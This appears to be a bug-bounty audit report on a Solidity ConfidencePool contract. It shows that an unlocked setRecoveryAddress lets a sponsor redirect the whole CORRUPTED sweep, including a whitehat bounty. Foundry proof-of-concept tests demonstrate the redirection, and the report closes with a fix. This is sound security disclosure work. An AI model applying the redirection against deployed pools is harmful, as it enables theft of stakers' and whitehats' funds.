FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Sponsor can redirect the entire CORRUPTED sweep (including an unclaimed whitehat bounty) by changing the unlocked `recoveryAddress` after the outcome is final

Author Revealed upon completion

Description

ConfidencePool locks one staker-reliance parameter (expiry) but leaves the higher-impact recoveryAddress fully unlocked. Because the CORRUPTED payout paths read recoveryAddress live at sweep time and setRecoveryAddress has no outcome or finality gate, a pool sponsor can change the sweep destination after CORRUPTED is decided — even after the claimsStarted finality latch — and capture the entire pool, including an unclaimed good-faith whitehat bounty.

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
recoveryAddress = newRecoveryAddress; // no outcome gate, no claimsStarted gate, no lock
}

Contrast the locked sibling setter:

function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked(); // one-way latch on first stake
...
}

DESIGN.md §10 justifies locking expiry to "protect staker reliance … once anyone has deposited against a given deadline, the sponsor cannot move it," yet never locks recoveryAddress — the parameter that controls the destination of the whole pool. setRecoveryAddress also ignores claimsStarted: finality freezes which outcome applies, not where the money goes.

A secondary instance of the same defect: expiryLocked is set only in stake(), not contributeBonus(), so a bonus contributor who has already committed funds can still have expiry moved under them — showing the inconsistency is systemic.

Risk

Likelihood: Low — requires the sponsor (a privileged actor) to act maliciously or be compromised.

Impact: High — total loss of the pool to an unintended recipient; in the good-faith case, funds owed to a third-party whitehat are intercepted.

Both CORRUPTED exits read the destination live:

  • claimCorrupted: safeTransfer(recoveryAddress, balanceOf(this)) — whole pool for bad-faith.

  • sweepUnclaimedCorrupted: safeTransfer(recoveryAddress, balanceOf(this)) after the attacker's 180-day window closes.

Proof of Concept

All cases pass under forge test:

// Bad-faith: entire pool redirected after CORRUPTED is flagged.
function test_sponsorRedirectsEntirePool_afterCorruptedFlag() public {
address sponsorWallet = makeAddr("sponsorWallet");
_stake(alice, 600e18); _stake(bob, 400e18);
_contributeBonus(makeAddr("sponsor"), 200e18); // pool = 1200e18
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
pool.setRecoveryAddress(sponsorWallet); // no gate blocks this
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorWallet), 1200e18); // entire pool stolen
assertEq(token.balanceOf(recovery), 0);
}
// Strongest: intercept an unclaimed whitehat bounty after the deadline.
function test_sponsorSweepsUnclaimedWhitehatBounty() public {
address sponsorWallet = makeAddr("sponsorWallet");
_stake(alice, 1000e18);
_contributeBonus(makeAddr("sponsor"), 200e18); // pool = 1200e18
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker); // whitehat entitled to pool
vm.warp(pool.corruptedClaimDeadline() + 1); // attacker never claims
pool.setRecoveryAddress(sponsorWallet);
pool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(sponsorWallet), 1200e18); // whitehat residual intercepted
}

Supporting (Part B):

function test_contributeBonus_doesNotLockExpiry() public {
_contributeBonus(makeAddr("bonusSponsor"), 500e18);
assertFalse(pool.expiryLocked()); // NOT locked by bonus
pool.setExpiry(block.timestamp + 700 days); // sponsor still moves it
}

Recommended Mitigation

Lock recoveryAddress on the same boundary as expiry (reuse the existing latch, no new storage):

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (expiryLocked) revert RecoveryAddressLocked();
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
recoveryAddress = newRecoveryAddress;
}

At minimum, reject setRecoveryAddress once outcome != UNRESOLVED. Additionally, set expiryLocked in contributeBonus() as well as stake(), so any committed capital freezes the deadline per the §10 rationale.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!